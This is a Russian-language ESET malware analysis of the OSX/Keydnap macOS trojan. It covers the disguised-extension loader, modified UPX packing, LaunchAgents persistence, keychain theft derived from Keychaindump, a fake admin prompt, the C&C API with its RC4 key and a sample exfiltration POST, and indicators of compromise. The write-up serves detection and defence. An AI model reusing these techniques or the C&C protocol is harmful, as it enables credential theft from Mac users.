Наши аналитики анализируют множество экземпляров вредоносного ПО для Apple OS X каждый день. В основном, они относятся к типу нежелательных приложений (Potentially Unwanted Applications, PUA), которые специализируются на внедрении рекламы в работающий веб-браузер.
Последние несколько недель мы занимались исследованием одного интересного экземпляра вредоносного ПО, которое специализируется на краже содержимого т. н. связки ключей OS X (keychain), а также выступает как backdoor, предоставляя злоумышленнику доступ к скомпрометированному компьютеру.
Нам не совсем ясно то, каким образом жертвы первоначально заражались OSX/Keydnap. Скорее всего, для этого использовались вредоносные вложения фишинговых сообщений электронной почты, либо вредоносное содержимое на нелегитимных веб-сайтах.
Мы знаем, что компонент загрузчика Keydnap распространяется в виде .zip файла. Архив содержит исполняемый файл формата Mach-O, с расширением похожим на .txt или .jpg. Однако, на самом деле, расширение файла содержит в конце имени символ пробела, что означает запуск файла на исполнения в терминале, после двойного щелчка по нему в оболочке Finder.
Рис. Архив с вредоносным файлом Keydnap и сам вредоносный файл.
Рис. Окно с информацией о файле загрузчика.
Упоминавшийся файл архива также содержит т. н. Resource fork (поток ресурса), который хранит значок исполняемого файла. Используемый значок идентичен тому, который оболочка OS X (Finder) обычно использует для обозначения JPEG файлов изображений или текстовых файлов. Такой метод используется для повышения вероятности того, что пользователь выполнит двойной щелчок на файле. После того как это произойдет, OS X откроет окно терминала и исполнит вредоносную полезную нагрузку.
Рис. Предупреждение веб-браузера Safari, которое отображается пользователю в случае загрузки вышеупомянутого вредоносного файла архива.
Загрузчик Keydnap довольно прост, будучи запущенным он выполняет в системе следующие действия.
- Загружает и исполняет в системе компонент бэкдора.
- Перезаписывает содержимое файла загрузчика специальным документом-приманкой (decoy), либо перезаписывает его содержимым другого файла, которое закодировано с использованием base64. Этот другой файл или встроен в сам загрузчик или загружается из интернета.
- Открывает фальшивый документ.
- Закрывает окно терминала, которое было открыто.
После перезаписи загрузчиком исполняемого файла загрузчика документом-приманкой, он все еще будет присутствовать в архиве. Загрузчик не обеспечивает себе выживаемость в системе, в отличие от компонента бэкдора, который использует для этой цели директорию LaunchAgents.
Нами были обнаружено несколько вариантов исполняемых файлов загрузчика. Список его различных образцов можно найти в конце материала.
Интересно отметить, что мы наблюдали свежие образцы загрузчика, которые содержали документы-приманки, представляющие из себя скриншоты панели управления ботнета или номера украденных данных кредитных карт. Это говорит о том, что Keydnap предназначался для пользователей подпольных форумов или для security-ресерчеров. Файлы этих свежих образцов содержали в себе поле «build name» (номер сборки). При этом мы наблюдали три различных имени: elitef*ck, ccshop и transmission.
Рис. Пример изображения приманки.
Рис. Пример изображения приманки.
Рис. Пример изображения приманки.
Все файлы образцов бэкдора, которые мы наблюдали, имели название icloudsyncd. Файл бэкдора содержит в себе строку с версией, которую он отправляет на C&C-сервер. Мы наблюдали две его версии: 1.3.1 в мае 2016 и 1.3.5 в июне.
Файл упоминавшегося загрузчика не упакован и распространяется как есть, а вот бэкдор упакован с использованием модифицированной версии UPX. При этом отличие от оригинального UPX заключается в двух особенностях. Сигнатура «UPX!» в заголовке UPX замещена на «ASS7», а сам оригинальный код и разделы со строками зашифрованы посредством XOR со значением 0x01. Эта операция XOR применяется к содержимому файла после его распаковки и перед передачей управления вредоносному коду.
Рис. Отличия упакованной версии файла при использовании модифицированного UPX и оригинального.
Специальный патч для UPX доступен на репозитории Github в разделе ESET. После его применения, файл с бэкдором Keydnap может быть распакован командой оригинального упаковщика UPX – upx –d.
После своего запуска в системе, бэкдор копирует файл plist в директорию /Library/LaunchAgents/ в случае присутствия у пользователя привилегий root или в директорию $USER/Library/LaunchAgents/ в противном случае. Это обеспечивает выживаемость бэкдора после его перезагрузки. При этом директория Library/Application Support/com.apple.iCloud.sync.daemon используется для хранения исполняемого файла icloudsyncd. В этой директории также будет храниться идентификатор запущенного процесса бэкдора в файле process.id, а также файл build.id с содержимым параметра «build name». Используя привилегии администратора, вредоносная программа также может изменить владельца файла icloudsyncd на root:admin и создать для него параметры setuid и setgid, что будет означать его последующий запуск с правами root.
Рис. Plist-файл вредоносной программы.
Для маскировки расположения своего вредоносного файла, Keydnap заменяет параметр argv[0] на строку /usr/libexec/icloudsyncd –launchd netlogon.bundle. Ниже представлен пример вывода команды ps ax на скомпрометированной системе.
$ ps ax
[...]
566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle
[...]
Результат вывода команды на зараженной системе.
Бэкдор OSX/Keydnap оснащен функциями сбора конфиденциальной информации паролей и ключей OS X keychain (связки ключей), а также отправки этих данных на удаленный сервер. На самом деле автор просто взял для своих целей пример PoC, который доступен на Github под названием Keychaindump. Этот код специализируется на чтении памяти процесса securityd и выполняет поиск ключа расшифровки для доступа к связке ключей пользователя. Этот процесс хорошо описан в следующем исследовании. Одной из причин, по которой мы думаем, что исходные тексты были взяты напрямую с Github является тот факт, что названия функций в исходных текстах и в коде вредоносной программы идентичны.
Рис. Список функций бэкдора, зеленым выделены функции из Keychaindump.
Keydnap использует Tor2Web прокси-сервис onion.to поверх HTTPS для общения с C&C-сервером. Мы наблюдали использование двух onion адресов в различных экземплярах бэкдора.
- g5wcesdfjzne7255.onion (недоступен)
- r2elajikcosf7zee.onion (доступен на момент написания материала)
URL-адрес HTTP-запроса всегда начинается с /api/osx/ и используется для выполнения следующих действий:
- /api/osx/started для отправки отчета об успешном запуске бота;
- /api/osx/keychain для отправки данных содержимого связки ключей;
- /api/osx/get_task?bot_id={botid}&version={version} для запроса задачи;
- /api/osx/cmd_executed для отправки отчета о команде, которая была исполнена;
- /api/osx/task_complete?bot_id={botid}&task_id={taskid} для отправки статуса завершения исполнения задачи.
Содержимое запроса HTTP POST содержит два поля: bot_id и data. Последнее поле зашифровано с использованием ключа RC4 «u2RLhh+!LGd9p8!ZtuKcN» без кавычек. При отправке на удаленный сервер содержимого связки ключей бэкдор использует поле keychain вместо data.
Ниже показан HTTP POST-запрос, с использованием которого бэкдор отправляет первоначальную информацию на сервер.
POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*
Content-Length: 233
Content-Type: application/x-www-form-urlencoded
bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D
Ниже указаны декодированные данные, полученные бэкдором от управляющего C&C-сервера.
> rc4decrypt(base64decode(«psX0DKYB0u...5TximyY+QY=»), «u2RLhh+!LGd9p8!ZtuKcN»)
device_model=MacBookPro9,2
bot_version=1.3.5
build_name=elitef*ck
os_version=15.5.0
ip_address=4.5.6.7
has_root=0
Значение bot_id представляет из себя хэш SHA-256 следующих значений.
- Аппаратный UUID (IOPlatformUUID).
- Серийный номер системы (IOPlatformSerialNumber).
- Идентификатор модели Mac (напр. MacBookPro9,2)
Большинство названий, выполняемых бэкдором операций, говорят сами за себя. Первоначальная команда используется для отправки следующей информации на управляющий C&C-сервер.
- device_model: идентификатор модели устройства;
- bot_version: версия Keydnap;
- build_name: значение поля «номера сборки» (build number) загрузчика;
- os_version: версия ядра OS X или macOS;
- ip_address: внешний IP-адрес компьютера, который был получен с помощью ipify.org;
- has_root: поле установлено в 1 в случае исполнения бэкдора под учетной записью root и 0 в противном случае.
Ответ на команду бота get_task содержит целочисленное значение, которое указывает на тип отправляемой боту команды и необязательные аргументы. Функция под названием get_and_execute_tasks работает с десятью различными типами команд, они указаны ниже в таблице.
Последние две команды, указанные в таблице, выделяются среди прочих. Команда с идентификатором 8 может быть отправлена бэкдору при том условии, что он еще не запущен под учетной записью root. После получения этой команды, бэкдор начнет подсчитывать количество запусков пользователем процессов в системе. Когда в системе в течение двух секунд запускаются два новых процесса, Keydnap покажет пользователю окно с запросом учетных данных пользователя. Это окно очень похоже на то, которое пользователь OS X видит при запросе приложением прав администратора. В случае ввода пользователем данных учетной записи, бэкдор будет работать под учетной записью root, а содержимое связки ключей будет похищено.
Рис. Код бэкдора, который подсчитывает количество запуска процессов пользователем.
Рис. Фальшивое окно с запросом учетных данных администратора.
Мы не знаем, каким образом исполняемый файл authd_service обрабатывается командой 9, так как мы не наблюдали использование этой команды ботом. Возможно, эта команда используется для организации третьего уровня атаки на цели, представляющие интерес для злоумышленников.
Заключение
У нас нет достаточно информации для того, чтобы сказать каким именно образом распространялся Keydnap. Мы также не знаем какое количество пользователей подверглось компрометации этим вредоносным ПО. Несмотря на то, что OS X имеет в своем составе специальные механизмы безопасности для блокирования вредоносной активности, фишинговые методы обмана пользователей могут помочь злоумышленникам обмануть пользователей с помощью фальшивого значка исполняемого файла Mach-O, что приведет к запуску в системе вредоносной программы.
Индикаторы компрометации (IoC)
Ниже представлены экземпляры загрузчика Keydnap, которые обнаруживаются антивирусными продуктами ESET как OSX/TrojanDownloader.Keydnap.A.
Хэш SHA-1: 07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148
Название файла: «info_list.txt »
Дата первой публикации на VirusTotal: 2016-05-09
URL-адрес загрузки компонента бэкдора: hxxp://dev.aneros.com/media/icloudsyncd
Тема фальшивого изображения или URL-адрес: часто задаваемые вопросы на собеседовании
Хэш SHA-1: 78ba1152ef3883e63f10c3a85cbf00f2bb305a6a
Название файла: «screenshot_2016-06-28-01.jpg »
Дата первой публикации на VirusTotal: 2016-06-28
URL-адрес загрузки компонента бэкдора: hxxp://freesafesoft.com/icloudsyncd
Тема фальшивого изображения или URL-адрес: скриншот панели управления BlackHat-TDS
Хэш SHA-1: 773a82343367b3d09965f6f09cc9887e7f8f01bf
Название файла: «screenshot.jpg»
Дата первой публикации на VirusTotal: 2016-05-07
URL-адрес загрузки компонента бэкдора: hxxp://dev.aneros.com/media/icloudsyncd
Тема фальшивого изображения или URL-адрес: скриншоты веб-браузера Firefox 20
Хэш SHA-1: dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c
Название файла: «CVdetails.doc »
Дата первой публикации на VirusTotal: 2016-05-03
URL-адрес загрузки компонента бэкдора: hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd
Тема фальшивого изображения или URL-адрес: hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc
Хэш SHA-1: 2739170ed195ff1b9f00c44502a21b5613d08a58
Название файла: «CVdetails.doc »
Дата первой публикации на VirusTotal: 2016-05-03
URL-адрес загрузки компонента бэкдора: hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd
Тема фальшивого изображения или URL-адрес: hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc
Хэш SHA-1: e9d4523d9116b3190f2068b1be10229e96f21729
Название файла: «logo.jpg»
Дата первой публикации на VirusTotal: 2016-06-02
URL-адрес загрузки компонента бэкдора: hxxp://dev.aneros.com/media/icloudsyncd
Тема фальшивого изображения или URL-адрес: значок sanelite
Хэш SHA-1: 7472102922f91a78268430510eced1059eef1770
Название файла: «screenshot_9324 2.jpg »
Дата первой публикации на VirusTotal: 2016-06-28
URL-адрес загрузки компонента бэкдора: hxxp://freesafesoft.com/icloudsyncd
Тема фальшивого изображения или URL-адрес: скриншот панели управления ботнетом
Ниже представлена информация об экземплярах компонента бэкдора Keydnap.
Хэш SHA-1: a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b
Название обнаружения ESET: OSX/Keydnap.A
URL-адрес управляющего C&C-сервера: hxxps://g5wcesdfjzne7255.onion.to
Версия бэкдора: 1.3.1
Хэш SHA-1: abf99129e0682d2fa40c30a1a1ad9e0c701e14a4
Название обнаружения ESET: OSX/Keydnap.A
URL-адрес управляющего C&C-сервера: hxxps://r2elajikcosf7zee.onion.to
Версия бэкдора: 1.3.5
Автор: ESET NOD32